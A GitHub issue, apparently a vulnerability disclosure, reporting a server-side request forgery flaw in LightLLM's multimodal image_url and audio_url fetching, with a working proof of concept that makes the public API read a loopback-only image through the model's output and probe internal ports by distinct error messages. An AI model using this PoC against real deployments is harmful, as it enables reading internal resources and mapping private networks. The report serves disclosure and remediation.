[BUG] Server-side request forgery via multimodal image_url fetching: internal read channel and status-code probing oracle · Issue #1608 · ModelTC/LightLLM · GitHub
Skip to content

[BUG] Server-side request forgery via multimodal image_url fetching: internal read channel and status-code probing oracle #1608

Open

Description

@yyymk

Summary

On multimodal deployments, LightLLM fetches client-supplied image_url and audio_url values on the server side with no scheme allowlist and no private address filtering. Any client that can call the public inference API can make the server issue HTTP GET requests to internal addresses. The fetched content is fed into the vision model, so an attacker can read internal image resources by asking the model to describe them, and fetch errors with status codes are returned to the client, which gives a port and path probing oracle. Both directions were reproduced: a loopback-only resource was read out by the model, and 404, closed port and open-but-not-image targets returned three distinct error bodies. Suggested severity High, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N (7.6), CWE-918.

Details

The OpenAI-compatible chat endpoint accepts standard vision content parts (lightllm/server/api_openai.py): a part of type image_url with an http:// or https:// URL becomes an ImageItem of url type. In lightllm/server/multimodal_params.py, ImageItem.preload() (and AudioItem on the same pattern) calls fetch_resource() for url items.

fetch_resource() in lightllm/utils/multimodal_utils.py does the fetch:

client = _get_xhttp_client(proxy)
async with client.stream("GET", url, timeout=timeout) as response:
    response.raise_for_status()
    ...

The URL is used as supplied. There is no host allowlist, no private or link-local address filtering, and no response origin check. The timeout defaults to 5 seconds (REQUEST_TIMEOUT) and responses up to about 128 MB are accepted. Redirects are not followed.

Two impact paths follow from this:

  1. Read channel. On success the fetched bytes become the image that the vision model processes. A request like "transcribe the text in the image" returns the content of an internal image resource through the model output.
  2. Probing oracle. On failure ImageItem.preload() raises ValueError(f"Failed to read image type=url, data[:100]={url}: {e}"), and both /v1/chat/completions and the native /generate return that message to the client as a 400 body. The embedded exception distinguishes an HTTP error status (Client error '404 File not found'), a closed port (All connection attempts failed!), and an open port that does not return an image (cannot identify image file).

Verified at commit 1eb4810c (v1.2.0+50); the same code is present at tag v1.2.0 and on current main (checked 2026-09-30).

PoC

Tested on Linux, LightLLM at commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6, Qwen2.5-VL-3B-Instruct, normal run mode on one GPU, streaming chat working.

On the victim host, start a loopback-only HTTP server with a probe image (an external host must not be able to reach it):

python3 -c "from PIL import Image, ImageDraw; im=Image.new('RGB',(512,256),'white'); d=ImageDraw.Draw(im); d.text((20,110),'SSRF-PROBE-7f3a9c',fill='black'); im.save('probe.png')"
python3 -m http.server 17777 --bind 127.0.0.1

From a second host, confirm the probe is unreachable directly (connection refused), then ask the public API to read it:

import requests
r = requests.post("http://<node_ip>:8091/v1/chat/completions", json={
    "model": "qwen",
    "messages": [{"role": "user", "content": [
        {"type": "image_url", "image_url": {"url": "http://127.0.0.1:17777/probe.png"}},
        {"type": "text", "text": "transcribe the text in the image"},
    ]}],
    "stream": True}, timeout=60)
print("".join(l for l in r.text.split('"content":"') if True) or r.text)

Expected result: HTTP 200 and the stream contains SSRF-PROBE-7f3a9c, which the server wrote after fetching a resource that only the server itself could reach. The node log shows Begin to download resource from url: http://127.0.0.1:17777/probe.png. The same works with the URL pointing at an attacker-controlled host, which is the exfiltration direction for internal services that return images.

For the oracle, send three more requests with these URLs in the same content part and record the 400 bodies:

http://127.0.0.1:17777/notexist   -> Client error '404 File not found' ...
http://127.0.0.1:9/x             -> All connection attempts failed!
http://127.0.0.1:8091/health     -> cannot identify image file ...

Each internal state maps to a distinct error body, on both /v1/chat/completions and /generate. All results reproduced across three cold starts of the node, and the read channel also worked when the API call itself came from a second host. Expected correct behavior: validate the URL against a configured allowlist, block private and link-local ranges, and do not return internal fetch error details to the client.

Impact

Server-side request forgery (CWE-918). The attacker only needs to reach the public inference API of any multimodal deployment; no internal network access is required, and no non-default option is involved. Confidentiality: the server fetches internal URLs on behalf of the attacker, the model discloses the content of internal resources that are returned as images, and the error channel discloses internal port and path state. Integrity and availability are not affected by this issue. The code path is not covered by any previously issued LightLLM advisory.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions